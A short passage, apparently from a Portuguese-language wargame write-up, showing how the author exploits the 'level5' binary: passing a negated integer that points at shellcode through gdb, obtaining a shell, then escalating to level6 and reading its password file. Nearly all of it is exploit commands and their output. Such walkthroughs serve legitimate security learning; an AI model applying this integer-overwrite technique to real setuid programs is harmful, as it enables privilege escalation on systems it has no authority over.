Ok, o shellcode esta em 0xbffffeaa, vamos tentar explorar.
(gdb) r 33 $(perl -e 'print 0xbffffeaa') Starting program: /home/level5/level5 33 $(perl -e 'print 0xbffffeaa') fill case 33 with -1073742165. Program received signal SIGSEGV, Segmentation fault. 0x7fffffff in ?? () (gdb)
Não deu certo, o motivo é o valor máximo de um int, vamos inverter os bits e colocar em negativo 🙂
(gdb) r 33 -$(perl -e 'print ~0xbffffeaa') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 33 -$(perl -e 'print ~0xbffffeaa') fill case 33 with -1073742165. Executing new program: /bin/dash $
Shell! 😀 vamos executar fora do gdb para termos os privilegios.
level5@wargame2k10:~$ ./level5 33 -$(perl -e 'print ~0xbffffeaa') fill case 33 with -1073742165. $ id uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5) $ cat /home/level6/passwd (Uhf(d $
Next! 🙂